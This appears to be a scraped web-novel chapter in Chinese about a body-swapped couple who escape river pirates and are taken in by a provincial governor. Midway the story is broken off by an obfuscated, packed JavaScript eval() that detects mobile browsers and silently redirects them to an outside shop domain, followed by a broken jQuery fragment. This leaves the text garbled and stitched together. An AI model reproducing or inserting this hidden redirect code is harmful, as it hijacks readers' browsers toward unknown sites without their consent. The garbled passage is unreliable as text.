柴房内等了片刻，日近黄昏，房门外终于传来脚步声。
“拿着。”水匪解了挂锁，推开木门，抱着一只铜盆，塞入戚灵玉怀中。
戚灵玉低头看了一眼，就见是一盆飘着几片野菜叶子的米汤。
好在到底是个清淡的吃食，又不是馊汤。
完事了，那水匪就要挂锁退出去。
“诶，大哥等等。”戚灵玉却不能让他这样快进快出。她伸出一只手，揪住那水匪的衣衫，陪笑道，“女娃娃病了，找大夫来看一眼吧？”
水匪迟疑一瞬，还是探头，朝柴房里看了一眼，脚尖一转，口中嘀咕道，“这大半夜的，到处在戒严，上哪去给你找大夫？”
戚灵玉心中一跳，面上却不动声色，退了一步，给那水匪让出道路。
水匪踏入房中，果真见那柴房一角，少女面色惨白地倚着墙，喘息急促，长睫上挂着汗，随着呼吸不住地轻颤。
竟当真是病得不轻。
他倒吸了一口凉气，面色犹疑：“嘶……这是咳疾？莫不是痨病吧。”
戚灵玉闻声，并不接话，只是站在一边笑：“是怪严重的，还是找个大夫来瞧瞧比较妥当。”
“行，你等着。”水匪也不敢轻慢，搓了搓手，正要退出去，忽地水面上传来一声长号。伴着江风，还夹杂着若隐若现的人潮喊杀声。
房门外，一个水匪行至门边，行色匆匆：“教头遭了，让官船发现了，咱们的船被围了。”
戚灵玉闻言迅速转头，借着那一道门缝朝外看去。果见不远处的江面上，密密麻麻行来一叶叶舟楫。舟上都是举着火把的官军，正尾随着这一叶贼船，不远不近地缀在后头。
舟中其余水蝗也出了船舱，到甲板上严阵以待。
戚灵玉粗略扫了一眼，便收回视线。
那被唤作教头水匪闻言，倏地变了脸色：“这群孬兵，平日里上岸打家劫舍都没个动静，怎么今儿个来了这么多？”
这话音一落，房里房外的人都意识到了什么。
那水匪目光一侧，挟着三分阴戾，落到了倚在柴房角落的风景瑜身上：“不会是因为这小娘皮吧？大半夜的，师爷还让我靠岸给她找吃食，什么来头？”
另一个水匪皱了皱眉：“谁知道呢，好像是龙头得了信，说照着子时门窗上挂彩绳的船抢，也没说个底细。”
戚灵玉脸色倏地一变。
戚家众人这一回走的水路，未流露任何风声，行迹与寻常民船无异。便是撞上了水匪，也不过当是自己运气不好。
哪怕她疑心这一伙人已然识出她身份，也不过以为他们是从仆役口中逼问而出。
可倘如这水匪所言，戚家的船队里分明是出了内贼，与水匪里应外合，才会遭此劫难！
她心神一震，还未来得及深思，便被那水匪的凶狠语气吸引了注意力：“既然是个有来头的，不如绑了做人质，让那群官兵不敢轻举妄动，”
戚灵玉陡然色变，还未来得及动作，便见那水匪蹲下身，取下背上的刀便朝墙角之人走去。
靠近那一瞬，戚灵玉心一揪，顾不得深思，当即疾言厉色道：“住手！”
话音落，附近的几道视线悉数向她投过来。
水匪教头扭过头，目光犹疑：“你与她无亲无故，怎的这样为她出头？”
戚灵玉定了定神，心在胸腔里跳得飞快，后知后觉太过莽撞，却勉强挂上三分笑：“大爷误会了，奴家不是给她出头，女儿家名节重要。万一这是哪门哪户的千金，教人看出给水匪劫了，污了声名，保不齐就给娘家人不认了去。没了用处，误了大爷的事，岂非不好？”
那水匪点点头：“你心思灵巧，说的也有理。找块布来给她挡脸。”
得了认可，戚灵玉蹑手蹑脚地移到风景瑜身侧，捡起地上的面纱，蹲下身，假意替他系上。
思索片刻，借着江面的嘈杂声遮掩，附在他耳侧，轻声吐出一个气音：“四。”
她视线所及，这艘江船的案板上，有四名水匪。
船厢晦暗，借着身躯遮挡，风景瑜倏地掀开眼皮，露出黑幽幽的瞳孔。
不引人注意地朝她一颔首。
见他心里有数，戚灵玉方才让开身位。
她屏声息语，垂手站至一侧，等看见地上的铜盆，却又心念一转，试探着开口：“这人眼看着就要死了，是不是先灌些水下去，先吊着一口气？”
水匪教头迟疑一瞬，瞧着少女惨白的脸色，还是咬咬牙：“你给她喂些，动作快点。”
取了铜盆里的木勺，戚灵玉舀出些许汤水，将梨膏糖在羹汤里化开，递送到风景瑜唇边，送他服下。
梨膏糖有止咳之效，又加米汤，再不济也能稍稍润润嗓子。
船头的喊杀声近了。那房门处的水匪等不及，反身也上甲板扯起了风帆，试图与官船拉开距离。
见喽啰走远，戚灵玉放下手中木勺，却忽地一抬眼，一副惶急之相：“这额头怎么这样烫？”
水匪闻言一愣，下意识放下手中刀，伸手去探额头。
放刀的一瞬，墙角处那双眸紧闭之人倏地睁开眼，伸手扣住他关节。
紧跟着，以迅雷不及掩耳之势抬手，将掩在手中的三寸怀刀，直直插入他后颈！
速度之快，手段之利落，快到哪怕戚灵玉一直死死盯着，始终未曾眨眼，都没看清他是如何动作。
甚至连她预想中血溅三尺的场面都未曾发生。刀刃扎入后颈，只稍稍带出一线血迹。
回过神时，那水匪却已没了声息，直直向一边栽落。
见大功告成，戚灵玉倏地松了一口气，还没来得及欢喜，便见风景瑜推开那水匪身躯，弓着身大口咳嗽起来。
他咳得厉害，满面涨得通红，似要将内脏也一并咳出来似的。
戚灵玉顿了顿，起身将门掩上。
确认未引起案板上其余水匪注意后，才低声道：“还有三人，就怕还有更多。若是纠集在一处，互相支应，只怕你喘疾发作，疲于应对。不如一个个引过来，逐个击破。”
风景瑜喘息方定，道：“你若是有了主意，便依你所言。”
戚灵玉沉思片刻，待一转眼，看到那水匪尸身，却又计上心来：“若我假扮水匪挟持你出去，引那水匪过来，有几分把握？”
风景瑜陡然抬目，朝着她摇头：“不妥。淮阴水蝗凶残，一言不合便要人性命，岂能儿戏？”
戚灵玉看到落在地上那把雪亮柴刀，心里也起了三分怵。哪怕她从未与淮阴水匪打过交道，却也曾听船家说及水匪残毒。
都是江风里历练出来的汉子，杀人如砍瓜切菜般。手中柴刀不长眼，任凭你男女老少，美丑胖瘦，挨上一下，脑瓜子都得先去掉一半。
隔了一会，她烦躁地咬了咬下唇：“这也不妥，那也不妥，难道等那水匪发觉，干坐着等死吗？”
风景瑜顿了顿，忽道：“找找有没有羊皮囊。等官船迫近，你便下水。”
比起正面相搏，此法显然要稳妥许多。
戚灵玉没有反驳，在房中翻翻捡捡。羊皮囊寻不得，却到底给她寻出两只胳膊粗的空心竹筒，勉强能浮在水上。
那边甲板上，水匪久等不得，先前那前来报讯的喽啰又一次来敲了门：“教头？教头？”
房中二人倏然一惊。
再犹豫下去难免生疑。说是迟那时快，风景瑜将那柴刀握在手中，戚灵玉一侧身，挡住那教头尸身，拉开了木门，笑吟吟的模样：“大爷。”
水匪抬头，却是微微一晃神。
江面火光幽微，映照着那半边侧脸，眉如柳梢，眼若寒星，脂粉淡抹，面色瓷白如玉，端是个清挑幽丽的美人。
戚灵玉双目一睨，便知他起了色心。
她心中一动，却露哀容，佯做无事，稍稍让出半边身子：“这人瞧着就快不行了，大爷进来看看吧。”
那水匪色迷心窍，昏昏然低头进了房，竟毫无设防。等看到暗里卧躺在房中一角的尸身，才猝然惊醒。
刚要呼号，下一瞬，便被一把横过来的柴刀划断了脖颈。
那柴刀极重，刀风却极轻，稳稳当当，捎带去性命之余，竟未曾有丝毫颤抖。教人不敢相信，执刀之人，是个身量未满的少女。出手时，眸光清明凛冽，纵是杀人，亦未曾有丝毫波动。
眨眼间舟中水匪，四去其二。
戚灵玉顿了顿，转头看他。
有梁一朝，荫封世家子弟多入锦衣卫。在就职之前，自然少不得一番操练。是以此人会武，她并不意外。
饶是如此，却仍有一瞬，被他眼中的凛冽骇住。
毕竟她这夫君，以往实在太过斯文，斯文到戚灵玉见了他举刀，就好似见兔子生了獠牙一样猝不及防。
戚灵玉眨了眨眼，隐约明白上一世她是如何得救的了。
凭他的身手，若不是换了身子，喘疾发作，只怕放翻这一船人也不是难事。
只见他挥完这一刀，便以其为支颐，贴着厢壁休憩。隔了半晌，望了一眼窗外，道：“官船来了。”
果然这争执间功夫，原先还隔得稍远的官船，已经迫近。离得近了，已经挽弓搭箭。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606834|143393||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
那甲板上两个水匪见势不妙，终于不再停留，往水中一跃。临走前却将手中火炬一抛，扔在涂了桐油的甲板上。
火势顷刻间腾起。
遭了！
这一来，官船上众人只能望着甲板却步。黑烟眨眼弥散开来。风景瑜几乎是立时屏住呼吸，却仍不免呛入烟气，一时间，脸色都涨得青紫。
船上不能呆了。戚灵玉当机立断，扶着他行出厢房，揽着竹筒便跃入江中。
只是这一跳才觉不好。
先时跳江那两个水匪，见她下了水，竟头一扭，便自水下朝她这边游来。几息沉浮间，便已到了身侧。
戚灵玉一手揽住风景瑜，抄起一根竹筒，便照着那水匪头顶直直捅过去，将其中一人捅开，却被另一人反手握住竹筒，险险拽入水中。
那水匪抓着竿子，向下一压，就要借力扑过来。
火势洞明，原先几乎半昏过去的风景瑜陡地睁眼，往下一潜，将身一横，将脚抵在那根竹筒上，微微一蹬，又将那水匪在水中撞得掉了个头。
只是下一瞬，却喉间一痒，一口气没屏住，陡地呛了水，旋即脱了力，直直往下沉。
冷水涌入肺里，意识迷蒙间，却是背心传来一阵抓力，旋即被人扯回了水上。
是戚灵玉。
他单手搭在另一根竹筒上，猛咳了几下，才勉强透过气来。转过眼，气息幽微：“你走吧。我游不了多远。他们要留的是我，想必不会太过为难你。”
戚灵玉闻言顿了顿，却幽幽道：“世子爷真是大义，莫不是忘了，你用的是我的身子？”
风景瑜微怔，缓缓闭上眼，不再言语。
好在等官船接近，便有人跳下水来。那两水匪见状不敢再纠缠，反身便泅下水面。
战船上一列梯子甩下，将水中人接引上去。
等上了官船，戚灵玉垂目一看，便见风景瑜不知何时已然昏了过去。
沉思片刻，她解下外袍遮掩住他面目，将人抱起。
甲板上火把幢幢，见她上船，悉数围了上来。有一身着红色圆领官服，头顶乌纱，脚着皂靴之人从船舱之中走出，抬头瞧了她怀中人一眼，面带愕色：“世子爷，这是……”
显然在此处接引已久，对他的身份，亦是心知肚明。
戚灵玉仔细打量他面目，想起曾在父亲房中见过此人。是淮安巡抚薛定安。
淮阴归属淮安管辖，因常年受黄淮水患所害，百姓流离失所，衣食无着。是以水匪猖獗，又因水沼纵横，芦苇浓密，易于藏匿，整治多年仍不见好。
她不知道这二人之间有何暗语，也不知风景瑜扮做女身潜入水匪窝中，与此人有多少关系。
未免露了端倪，只是略一颔首：“晚生见过薛大人。莫要声张，快寻医士吧。”
等靠了岸，一行人被安置在了巡抚官衙，又请了城中医士。
“只是喘疾发作，又受惊呛水，等人醒了，再用些药，便也无大碍了。”老郎中号了脉，如是道。
厢房内，薛定安隔着床帘，朝内里望了一眼。
这一路来这宁国府世子都将这少女的面目遮得极好。可他观府中仆妇为她换下的衣物，一身缂丝锦绣，出身非富即贵。只怕是哪个官宦家的姑娘遭了水匪，落了难。
女子名节重要，他自然也不会声张。只感慨这姑娘福大命大，都落到水匪窝中，却还能全身而退。
他看了一会，便收回视线，又转向了守在床前的宁国府世子，压低声音道：“世子爷，可否移步书房中，借一步说话？”
戚灵玉心中微微一动，掀起眼皮看他一眼。
什么事，需要堂堂巡抚三更半夜，与一个尚未袭爵的小辈私下商议？
论理来说，这本属这二人间私事，她不应探听。
可眼下风景瑜昏迷不醒，她推辞无由，末了还是跟着此人到了书房。
便见薛定安屏退左右：“无我吩咐，任何人都不得靠近书房。”
待回过头时，神色一变，竟显出几分诚惶诚恐：“世子爷，陛下当真要亲去那金陵，捉摸那窦国舅的底细？”
戚灵玉面色倏然一变。
金陵窦氏是当今圣上的外家，也是她戚灵玉的外家。
窦氏原只是金陵一户以刺绣为生的寻常民户，长女因品性出众被朝中看中，选为皇后，与先帝恩爱非常。
窦氏举族跟着鸡犬升天。太子登基后，更是天子正儿八经的外家。又与荣国公府接了姻亲，一夕步入金陵顶层勋贵之列。
好端端的，天子怎么就动了查探的心思？